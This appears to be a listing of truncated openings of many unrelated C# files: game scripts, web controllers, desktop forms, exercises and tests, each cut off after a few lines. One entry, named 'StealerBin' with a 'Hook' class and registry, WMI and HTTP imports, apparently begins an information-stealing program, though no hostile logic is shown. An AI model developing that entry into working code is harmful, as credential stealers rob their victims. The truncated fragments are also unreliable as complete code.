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#region using statements using System; #endregion namespace ObjectLibrary.BusinessObjects { #region class State [Serializable] public partial class State { #region Private Variables private bool findByName; #endregion #region Constructor public State() ...
using System; using System.Diagnostics; using System.Reflection; using System.Windows.Forms; namespace swsp { public partial class About : Form { public About() { InitializeComponent(); this.versionLabel.Text = String.Format(this.versionLabel.Text, Assembly....
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using MySql.Data.MySqlClient; namespace OrekiLibraryManage { public partial class RemoveUser : Form ...
// // TranspositionTableTests.cs // // Author: // Jon Thysell <thysell@gmail.com> // // Copyright (c) 2017, 2018 Jon Thysell <http://jonthysell.com> // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to ...
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Microsoft.AspNetCore.Mvc.Rendering; using online_knjizara.EF; using online_knjizara.EntityModels; using online_knjizara.Helpers; using online_knjizara.ViewModels; namespace online_knj...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Smart.Distribution.Station.Controls { public class NavBarClickEventArgs : EventArgs { private ButtonType _buttonType; public NavBarClickEventArgs(ButtonType buttonType...
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace _24.PrintSorted { class PrintSorted { static void Main(string[] args) { /*Write a program that reads a list of words, separated by spaces and prints the list in an alphabetical order.*/ ...
using System.Diagnostics; namespace OmniSharp.Extensions.LanguageServer.Protocol.Models { [DebuggerDisplay("{" + nameof(DebuggerDisplay) + ",nq}")] public record TextDocumentItem : TextDocumentIdentifier { /// <summary> /// The text document's language identifier. /// </summary> ...
using System.Collections.Generic; using BookStore.Model; namespace BookStore.SearchByXml { public interface IQueryProcessor { IEnumerable<Review> Process(); } }
using System; using System.Collections.Generic; namespace GovermentApp { class FakeGovermentGenerator { public static ICompositable GetGoverment() { ICompositable goverment = new Ministry("Goverment"); string[] firstNames = { "John", "Mike", "Peter", "Bob", "Frank", "A...
using System; //For MethodImpl using System.Runtime.CompilerServices; namespace Unicorn { public static class Input { // Keyboard [MethodImpl(MethodImplOptions.InternalCall)] public extern static bool GetKeyPress(VK val); [MethodImpl(MethodImplOptions.InternalCall)] public extern static bool ...
using Microsoft.EntityFrameworkCore; using MyPage.Models; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace MyPage.Data.DAL { public class PostDAL { private readonly Contexto _contexto; public PostDAL(Contexto contexto) { ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace PlayTennis.Model.Dto { public class EditPurposeDto { ///// <summary> ///// 微信用户id ///// </summary> //public Guid wxUserid { get; set; } public G...
using System; using System.ComponentModel; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Text; //using Plugin.Toast; using Newtonsoft.Json; using Xamarin.Essentials; using Xamarin.Forms; namespace ExpenseTracker.ViewModels { public class ExpenseEntriesViewModel : INotifyProp...
// ===== Enhanced Editor - https://github.com/LucasJoestar/EnhancedEditor ===== // // // Notes: // // ============================================================================ // using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Reflection; using UnityEditor; ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Console2.From_026_To_050 { /* Find the contiguous subarray within an array (containing at least one number) which has the largest sum. For example, given the array [−2,1,−3,4,−1,2,1,−5,4], the contiguous ...
using System.Web.Mvc; using Logs.Authentication.Contracts; using Logs.Models; using Logs.Services.Contracts; using Logs.Web.Controllers; using Logs.Web.Infrastructure.Factories; using Logs.Web.Models.Logs; using Moq; using NUnit.Framework; using TestStack.FluentMVCTesting; namespace Logs.Web.Tests.Controllers.LogsCon...
using Braspag.Domain.DTO; using Braspag.Domain.Entities; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Braspag.Domain.Interfaces.Repository { public interface IUsuarioRepository : IRepositoryBase<Usuario> { Usuario Autenti...
using UnityEngine; using System.Collections; public class Game : MonoBehaviour { int gold = 100; int time = 100; int Time { get; set; } int Gold { get; set; } void Start() { //InvokeRepeating("testUpdate", 0.0f, 1.0f); testActions(); } public void testActions() ...
using System; namespace UniqueElementsInArray { class Program { static void Main(string[] args) { int n, ctr = 0; int[] arr = new int[100]; int i, j, k; Console.Write("Input the number of elements to store in the array: "); n = Con...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; //Task 9 namespace Solve_Equation { class Program { static void Main(string[] args) { Console.Write("Enter a: "); int a = int.Parse(Console.ReadLine()); ...
using MCC.Utility; using System; using System.IO; using System.Net.Sockets; using System.Threading.Tasks; namespace MCC.Twitch { public class IrcClient : ILogged { protected TcpClient TcpClient; private StreamReader input; private StreamWriter output; public bool Connected { g...
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; using System.Threading; using MySql.Data.MySqlClient; namespace HO偏差 { public parti...
// Copyright 2017-2019 Elringus (Artyom Sovetnikov). All Rights Reserved. using System.Threading.Tasks; using UnityCommon; namespace Naninovel.UI { public class LoadingPanel : ScriptableUIBehaviour, ILoadingUI { private StateManager stateManager; private InputManager inputManager; pu...
using Microsoft.Win32; using System; using System.Diagnostics; using System.IO; using System.Management; using System.Net; using System.Net.Http; using System.Text; using System.Windows.Forms; namespace StealerBin { public class Hook { [STAThread] private static void Main() { ...
// -------------------------------------------------------------------------------------------------------------------- // <copyright file="Encryption.cs" company="CGI"> // Copyright (c) CGI. All rights reserved. // </copyright> // -------------------------------------------------------------------------------------...
using System; using Microsoft.VisualStudio.TestTools.UnitTesting; using OrderedSet; using System.Collections.Generic; namespace OrderedSet { [TestClass] public class UnitTestOrderedSet { [TestMethod] public void Add_EmptyOrderedSet_NoDuplicates_ShouldAddElement() { ...
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Threading; using System.Threading.Tasks; using EFCore.BulkExtensions.SqlAdapters; using Microsoft.Data.Sqlite; using Microsoft.EntityFrameworkCore; namespace EFCore.BulkExtensions.SQLAdapters.SQLite { public c...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Infra; namespace Console2.G_Code { public class G_008_PrePostOrder { /* * * Given preorder and inorder traversal of a tree, construct the binary tree. */ public TreeNode Cons...
using kelvinho_airlines.Entities.CrewMembers; using kelvinho_airlines.Utils; using System.Collections.Generic; using Xunit; namespace Tests.Utils { public class CrewCheckerTests { [Fact] public void Should_return_false_when_two_incompatible_crew_members_are_alone() { var in...
using System.Collections; using System.Collections.Generic; using System.Linq; using UnityEngine; public class InterfaceController : MonoBehaviour { public static Dictionary<string, Transform> Menus = new Dictionary<string, Transform>(); // Start is called before the first frame update private static List...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Threading; namespace Common.SmartThread { public class SmartThread { private List<Thread> threadList = new List<Thread>(); public void Invoke(ParameterizedThreadSta...
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Linq; using System.Threading.Tasks; using System.Windows.Forms; using DevExpress.XtraEditors; using System.Configuration; using MySql.Data.MySqlClient; namespace Tes4.G...
using UnityEngine; using UnityEngine.UI; using UnityEngine.SceneManagement; using System.Collections; public class GameManager : MonoBehaviour { public short game = 0; public int score = 0; int savedScore; float timer = 0; [SerializeField] AudioClip click; [SerializeField] Sprite black; ...
using System; using Microsoft.EntityFrameworkCore.Migrations; namespace Shop.Web.Migrations { public partial class Update_Shop_List : Migration { protected override void Up(MigrationBuilder migrationBuilder) { migrationBuilder.UpdateData( table: "Shops", ...
namespace Computers.Manufacturers { public class Manufacturer { public Manufacturer(string name) { this.Name = name; } public string Name { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using Protogame; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Graphics; using Microsoft.Xna.Framework.Audio; using System.Collections.ObjectModel; using Microsoft.Xna.Framework.Input; using Protogame.SHMUP; using RedM...
using System.Text.Json.Serialization; using PlatformRacing3.Server.Game.Communication.Messages.Incoming.Json; namespace PlatformRacing3.Server.Game.Communication.Messages.Outgoing.Json; internal sealed class JsonSpawnAliensOutgoingPacket : JsonPacket { private protected override string InternalType => "spawnAliens"...
using System; using System.Collections.Generic; using System.Data; using System.Data.Entity; using System.Data.Entity.Infrastructure; using System.Linq; using System.Net; using System.Net.Http; using System.Web.Http; using System.Web.Http.Description; using JoggingDatingAPI.Models; namespace JoggingDatingAPI.Controll...
using UnityEngine; using System.Collections; public class StayInArena : MonoBehaviour { private GameObject m_camera; private Vector3 m_basePos; void OnTriggerExit(Collider col) { if (col.tag == "MainCamera") m_camera.transform.position = m_basePos; } void OnTriggerEnter(Colli...
using Contoso.XPlatform.ViewModels.ReadOnlys; using System; using System.Collections.ObjectModel; using Contoso.XPlatform.Constants; using Xamarin.Forms; namespace Contoso.XPlatform.Utils { internal class CollectionCellIViewHelpers { public static View GetCollectionViewItemTemplateItem(string template...
using System; using System.Collections.Generic; using System.Text; namespace Assignment___Chloe_Green { public class StockManager { private List<Stock> stocks = new List<Stock>(); private List<TransactionLog> tranLogs = new List<TransactionLog>(); private List<PersonalUsage> ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace NumbersInTree { public class Tree<T> { private TreeNode<T> root; private int countEncounters = 0; private int countLeafs = 0; private int countInnerPeak...
using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace CMS_ShopOnline.Areas.CMS_Sale.Models { public class POSViewModel { public int Id { get; set; } public int? IdNhanVien { get; set; } public int? IdKhachHang { get; set; } public str...
using AutoMapper; using Microsoft.AspNetCore.Authorization; using Microsoft.AspNetCore.Mvc; using Microsoft.Extensions.Configuration; using Microsoft.IdentityModel.Tokens; using System; using System.Collections.Generic; using System.IdentityModel.Tokens.Jwt; using System.Linq; using System.Security.Claims; using Syste...
using Car.Super.Market.Test.Pages; using System; using System.Collections.Generic; using System.Linq; using System.Text; using TechTalk.SpecFlow; namespace Car.Super.Market.Test.StepDefinitions { [Binding] public sealed class SearchSteps : BaseClass { HomePage homePage = new HomePage(); Se...
using System.Collections.Generic; using System.Linq; using LuizalabsWishesManager.Domains.Models; using LuizalabsWishesManager.Domains.Repositories; using LuizalabsWishesManager.Domains.Services; namespace LuizalabsWishesManager.Services { public class WishService : ServiceBase<Wish>, IWishService { p...
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using System.IO; using Utility; using Uxnet.Web.WebUI; namespace eIVOGo.Module.SYS { public partial class UploadQRCodeKey : System.Web.UI.UserControl { protected vo...
using Infra; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace LeetCodeCSharp { public class _011_PopuldateNextRight { /* * http://leetcode.com/onlinejudge#question_117 */ public void PopuldateNextRig...
using MvvmCross.Core.ViewModels; namespace EsMo.MvvmCross.Support { public abstract class MvxNavigatingObject<T>: MvxNavigatingObject where T:class { public T Model { get; private set; } public MvxNavigatingObject(T model) { this.Model = model; } } }
namespace Triton.Game.Mapping { using ns26; using System; [Attribute38("TutorialLesson3")] public class TutorialLesson3 : MonoBehaviour { public TutorialLesson3(IntPtr address) : this(address, "TutorialLesson3") { } public TutorialLesson3(IntPtr address, string cla...
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Data.Entity; namespace Custom.Models { public class TCContext:DbContext { public TCContext():base("name=TenantContext") { } public TCContext(string context) : base("Data Source=.;I...
using Newtonsoft.Json.Linq; using System.Collections.Generic; namespace NMoSql.Helpers { public class Only : Helper, IQueryHelper { public string Fn(JToken only, IList<object> values, Query query) => ((IQueryHelper)this).Fn(only, values, query); string IQueryHelper.Fn(JToken value, IList<obje...
using System; using System.Collections.Generic; using System.Text; using ServiceDesk.Core.Entities.RequestSystem; using ServiceDesk.Core.Enums; using ServiceDesk.Core.Interfaces.Common; namespace ServiceDesk.Core.Interfaces.Factories.RequestSystem { public interface IRequestFactory<in TData> : IGenericFactory<Req...
namespace Composite { using System; using System.Collections.Generic; public class TextArea : UIControl { private readonly ICollection<UIControl> controls; public TextArea() : base() { this.controls = new List<UIControl>(); this.Name = " Tex...
using System; using System.Collections.Generic; using System.Text; namespace StackQueue { class Stack { int[] arr; int max, top; public Stack(int size) { arr = new int[size]; max = size; top = -1; } public voi...
using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Windows; using System.Windows.Controls; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Animation; using System.Windows.Shapes; using System.Windows.Navig...
using AutoMapper; using FluentValidation.Results; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Text; using System.Threading.Tasks; using TestApplicationDomain.DTO; using TestApplicationDomain.Entities; using TestApplicationDomain.Validator...
using UnityEngine; using UnityEngine.UI; using System.Collections; public class CurrentTarget : MonoBehaviour { private Text textArea; void Start() { textArea = GetComponent<Text>(); } public void SetText(string text) { textArea.text = text; } }
using System; using System.Collections.Generic; using SMSEntities.SMSDBEntities; using System.Data; using MySql.Data.MySqlClient; namespace SMSDAL.SMSDB { public class KeyStatusesDBA { public int InsertKeyStatuses(KeyStatuses p_KeyStatuses) { int result = 0; MySqlParameter...
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using Microsoft.EntityFrameworkCore.Query; namespace Microsoft.EntityFrameworkCore.Sqlite.Query.Internal { /// <summary> /// This is an in...
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace Lite_Berry_Pi.Models.Api { public class DesignDto { public int Id { get; set; } public string Title { get; set; } public string DesignCoords { get; set; } } }
using Spine; using System; using UnityEngine; [RequireComponent(typeof(CharacterController))] public class BasicPlatformerController : MonoBehaviour { public string XAxis = "Horizontal"; public string YAxis = "Vertical"; public string JumpButton = "Jump"; public float walkSpeed = 4f; public float runSpeed = 1...
using System.Collections; using System.Collections.Generic; using Managers; using UnityEngine; using UnityEngine.UI; public class SmarmotBarController : MonoBehaviour { private Slider _bar; private void Start() { _bar = GetComponentInChildren<Slider>(); _bar.value = 0; _bar.maxValue = 100; EventManager.In...
using System; using System.Net; using CoreFoundation; using SystemConfiguration; using Xamarin.Forms; using MCCForms.iOS; [assembly: Dependency (typeof(Reachability_iOS))] //How to use in Forms project: DependencyService.Get<IReachability> ().IsConnected(); namespace MCCForms.iOS { public class Reachability_iOS ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigati...
using Mosa.Kernel.x86; using System; namespace $safeprojectname$ { public static class PS2Mouse { private const byte Port_KeyData = 0x0060; private const byte Port_KeyStatus = 0x0064; private const byte Port_KeyCommand = 0x0064; private const byte KeyStatus_Send_NotReady = 0x0...
using BlockChain; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; namespace ReportGenerator { public class Generator { private static BlockchainData blockchainData; ...
using System; class ReverseOrder { static void ReverseNumbers(int number) { int devidedNumber = number; int remainder = 0; while (devidedNumber != 0) { remainder = devidedNumber % 10; devidedNumber = devidedNumber / 10; Console.Wr...
using KekManager.Database.Interfaces; using KekManager.Security.Domain; using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Text; namespace KekManager.Security.Data.Contexts { public interface ISecurityDbContext : IDatabaseContext { DbSet<SecurityUser> Sec...
/* 3. Write a program that safely compares floating-point numbers with precision of 0.000001. * Examples: (5.3 ; 6.01) -> false; (5.00000001 ; 5.00000003) -> true */ using System; class CompareFloatingPointNumbers { static void Main() { float firstNumber = 5.00000001f; float secondNumber =...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using IES.JW.Model; using IES.CC.OC.Model; namespace IES.Service { /// <summary> /// 用户获取相关的权限 /// </summary> public class AuService { /// <summary> ...
// // Copyright (c) .NET Foundation. All rights reserved. // Licensed under the MIT License. See LICENSE file in the project root for full license information. // namespace DotNetNuke.UI.WebControls { /// ----------------------------------------------------------------------------- /// <summary> /// Enum...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Data.Entity; using EntityFramework.Extensions; using SO.Urba.Models.ValueObjects; using SO.Urba.DbContexts; using SO.Urba.Managers.Base; using SO.Utility.Classes; using SO.Utility.Models.View...
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Ex_Polynômes { class Polynome { public Monome _premier{ private set; get; } public Monome _dernier{ private set; get; } // constructeur permettant d'initialiser les variables : ...
using PetSharing.Contracts.UserContracts; using System; using System.Collections.Generic; using System.Text; namespace PetSharing.Contracts { public class CommentContract { public int Id { get; set; } public int PostId { get; set; } public int LikeCount { get; set; } public str...
using DataLayer.TipoAccesosData; using System; using System.Collections.Generic; using System.Data; using System.Linq; using System.Text; using System.Threading.Tasks; namespace BusinessLayer.TipoAccesos { public class TipoAccesos : BusinessBase { #region Constructores public TipoAccesos ...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace FileParse { class FileParseException : Exception { public FileParseException(string fileName, int exceptionLine) : base(String.Format("Error! Can't parse to int lin...
using System.Collections; using System.Collections.Generic; using UnityEngine; public class DamageDealer : MonoBehaviour { [SerializeField] FloatReference damagePoints = null; public float DamagePoints { get => damagePoints; } public void OnHit() { gameObjec...
using System.Collections; using OuterRimStudios.Utilities; using UnityEngine; using Random = UnityEngine.Random; public class Panel : MonoBehaviour { private int NUM_SOCKETS = 6; private int NUM_ROUNDS = 3; public GameObject sockets; public GameObject vacuumTubes; public Animator buttonPanel; ...
using System; namespace Fonlow.Testing { public class IisExpressFixture : IisExpressFixtureBase { public IisExpressFixture(): base(!String.IsNullOrWhiteSpace(TestingSettings.Instance.HostSite)) { } } }
using System; using Newtonsoft.Json; using Newtonsoft.Json.Linq; using OmniSharp.Extensions.LanguageServer.Protocol.Models; namespace OmniSharp.Extensions.LanguageServer.Protocol.Serialization.Converters { public class TextEditOrInsertReplaceEditConverter : JsonConverter<TextEditOrInsertReplaceEdit> { ...
using System; using System.Collections.Generic; using System.Linq; using System.Web; using LePapeo.Models; using LePapeoGenNHibernate.EN.LePapeo; namespace LePapeo.Models { public class AssemblerHorarioSemana { public HorarioSemanaViewModel ConvertENToModelUI(HorarioSemanaEN semEN) { ...
using System; using System.Linq; using Xunit; namespace TreeStore.Model.Test { public class FacetTest { [Fact] public void Facet_hasnt_properties_at_the_beginning() { // ACT var facet = new Facet(); // ASSERT Assert.Empty(facet.Propert...
namespace SGDE.Domain.ViewModels { public class WorkBudgetDataViewModel : BaseEntityViewModel { public string description { get; set; } public string reference { get; set; } public int workId { get; set; } public string workName { get; set; } public double? total { get; ...
using ITQJ.Domain.DTOs; using ITQJ.Domain.Entities; using Microsoft.AspNetCore.Authorization; using Microsoft.AspNetCore.Mvc; using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Internal; using System; using System.Collections.Generic; using System.Linq; namespace ITQJ.API.Controllers { [ApiC...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace MobilePhone { public class GSMCallHistoryTest { public static void StartGSMCallHistoryTest() { //add mobile phone for test Console.WriteLine("GS...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Benchmark.Benchmarks { using System.Collections.ObjectModel; using BenchmarkDotNet.Attributes; /* TODO: Cost differential due to creating a new collection. BCL caches, even f...
using Ninject; using QuickCollab.Accounts; using QuickCollab.Security; using QuickCollab.Services; using QuickCollab.Session; using System; using System.Collections.Generic; using System.Web.Http.Dependencies; namespace QuickCollab { public class NinjectDependencyResolver : IDependencyResolver, System.Web.Mvc.IDe...
using UnityEngine; using System.Collections; public class DialogueContainer : MonoBehaviour { public DialogueScript dialogueScript; public float dialogueSpeed; public string speakerName; // Name-box remains hidden if no name is entered public string[] dialogue; public string[] answers; publi...
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using System.Text; namespace DocumentSystem { public interface IDocument { string Name { get; } string Content { get; } void LoadProperty(string key, string value); vo...
using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; public class GameController : MonoBehaviour { [SerializeField] private List<Cell> cells; [SerializeField] private List<GameObject> combinationGrid; [SerializeField] private Text xScoreElement...
using Microsoft.AspNetCore.Mvc; using Microsoft.Extensions.Logging; using SGDE.Domain.Supervisor; using SGDE.Domain.ViewModels; using System; namespace SGDE.API.Controllers { [Route("api/[controller]")] [ApiController] public class WorkHistoriesController : ControllerBase { private readonly IS...
/// /// Generated by Sybase AFX Compiler with templateJ /// Compiler version - 2.2.6.482 /// mbs - false /// using System; using System.Reflection; namespace MMSCAN { public class ClientPersonalization : Sybase.Reflection.IClassWithMetaData { #region MetaData private static MM...
namespace VRTK { using UnityEngine; using System.Collections; #if UNITY_5_5_OR_NEWER using UnityEngine.AI; #endif public class VRTK_BlinkDash : MonoBehaviour { VRTK_ControllerEvents CE; GameObject RightController; protected Transform headset; protected Transform pla...
using UnityEngine; using System.Collections; //Данный класс предназначен для синхронизации текстовых строк public class LAbelSyncScr : MonoBehaviour { // компонент NetworkView и его настройки private NetworkView netView; void Awake() { netView = GetComponent<NetworkView> (); netView.stateSynchronization = Ne...
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace IES.Resource.Model { /// <summary> /// 习题的公共信息 /// </summary> public class ExerciseInfoCommon { /// <summary> /// 习题的基本信息 /// </su...
using SULS.Data; using SULS.Models; using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace SULS.Services { public class SubmissionService : ISumbissionService { private readonly SULSContext dbContext; public SubmissionService(SULSContext dbContext) ...
namespace InternetShop.Enums { public enum OrderStatuses : byte { Opened = 1, Rejected, Completed, Returned } }
using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace cataloguehetm.ViewModels { public class AdminViewModel { public Admin admin { get; set; } public bool authenticated { get; set; } } }